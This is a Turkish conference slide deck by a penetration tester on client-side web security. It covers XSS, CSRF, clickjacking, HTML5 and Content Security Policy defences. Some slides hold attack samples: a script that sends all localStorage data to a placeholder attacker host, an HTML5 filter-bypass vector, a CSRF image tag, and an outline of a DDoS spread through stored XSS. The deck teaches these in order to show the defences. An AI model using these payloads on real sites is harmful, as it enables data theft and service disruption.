Upload
mehmet-ince
View
906
Download
5
Embed Size (px)
Citation preview
Son Kullanıcı Güvenliği &
CSPMehmet Dursun İNCE
mince@rootlab ~ $ whoami
Mehmet Dursun İNCEPenetration Tester at IntelRADZafiyet AraştırmacısıBlog Yazarı: www.mehmetince.netLinux & OpenSource PHP, Python, ...
mince@rootlab ~ $ cat icerik.txt
Client-Side Security Nedir ?CSRF, XSS ve ClickJackingInternet TarayıcılarıHTML5SKiddieTrapper.js & CryptoPost.js
Son Kullanıcı Güvenliği Nedir ?
● SSL’den ibaret değildir.● Güvenli “oturum” yönetimi gerektirir.● User Interface güvenliği
S.K. Yönelik Popüler Siber Tehditler
● ...● XSS● CSRF● Clickjacking● ...
XSS
XSS <script>alert(1)</script>’den ibaret değildir.
COOKIE değil Browser.
XSS Tehlikeleri - Password Cracking
● HTML5 - WebWorker
● Cracking Speed : 609.384 / sec (MD5)
● Ravan - JavaScript Distributed Computing System
XSS Tehlikeleri - L7 DDoS
● XMLHttpRequest - WebSockets
● www.hedef.com/?search=”a”+”b”
● 10,000 / min
XSS Tehlikeleri - Demo - Step 1
● http://www.hacker.com/ddos.js
XSS Tehlikeleri - Demo - Step 2
● Dakika içinde 100 tekil kullanıcı alan web sitesine ddos.js dosyası Stored XSS vb yöntemler ile yerleştirilir.
● Örneğin : e-ticaret, gazete/haber siteleri.● Sosyal mühendislik + reklam (JS!) ?
XSS Tehlikeleri - Demo - Step 3
● http://lab.mehmetince.net adresine giren Chrome kullanıcıları.
XSS Tehlikeleri - Demo - Step 3
● Request sunucuya erişecektir, dönen değerin okunması ve işlemi alınması yasaktır!
XSS Tehlikeleri - Demo - Sonuç
● Ortalama her tarayıcı 10,000 talep / dakika● Dakika içerisinde 100 tekil kullanıcı alan bir
sitenin ziyaretçileri üzerinden;● Toplam ≃ 1.200.000 / dakika ● = 200.000 / saniye ● WAF ? Firewall ?
CSRF - Cross Site Request Forgery
Özet - HTTP GET;…<img src="//site.com/sing_out">…
CSRF - Cross Site Request Forgery
Özet - HTTP POST;
CSRF - Demo - Step 1
1. Hedef : eticaret sitesi kullanıcıları.2. Kullanıcı mail adresi değişikliği işleminde
mevcut şifre talep edilmemektedir.3. Uygulama genelinde CSRF Token
kullanılmamıştır.
CSRF - Demo - Step 2
1. www.herhangibirsite.com adresine aşağıdaki CSRF Exploit kodları yerleştirilir.
CSRF - Demo - Step 3.1
www.herhangibirsite.com adresini ziyaret eden kullanıcı, farkında olmadan email adresini değiştiren HTTP talebini gönderir.
CSRF - Demo - Step 3.2
EMAIL DOĞRULAMA
CSRF - Demo - Step 4
ŞİFREMİ UNUTTUM
ClickJacking
ClickJacking - Önlemi
X-Frame-Options : DENY, SAMEORIGIN,
https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
HTML5 Avantajları
● Blacklist Bypass○ ...○ <video poster=javascript:alert(1)//></video>○ …
HTML5 Local Storage <script>localStorage.setItem("email", "[email protected]");var f = document.getElementById("email");f.innerHTML=localStorage.getItem("email");</script>
HTML5 Local Storage <script>for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://saldirgan/kaydet.php?key=" + key + "&value=" + localStorage.getItem(key);}</script>
Content Security Policy
Content Security Policy - Özellikler connect-src : WebSocket, XHR, EventSourcefont-src : https://themes.googleusercontent.comframe-src: https://youtube.comimg-src : * -Her şeye izin ver-media-src : *.site.comobject-src : self -Flash vb-script-src : ‘self’ ‘unsafe-eval’ ‘unsafe-inline’style-src : self
Content Security Policy - Örnek
Facebook CSP Örneği
Content Security Policy - Rapor script-src : ‘self’ report-uri : ‘log.php’
X-XSS-Protection X-XSS-Protection: 1; mode=block
CryptoPost.js
● RSA Key Encryption● POST parametreleri encrypt etmek.● Hacker’lara ve MITM saldırılarına önlem.● Opensource ve pull request’e açık.● https://github.com/mmetince/crypto_post
SKiddieTrapper.js
● Potansiyel saldırganlara tuzak kurmak.● FORM’lara input’lar enjekte etmekte.● Opensource ve pull request’e açık.● https://github.com/mmetince/skiddie_trapper●
SKiddieTrapper.js
Teşekkürler
● www.mehmetince.net● twitter.com/mmetince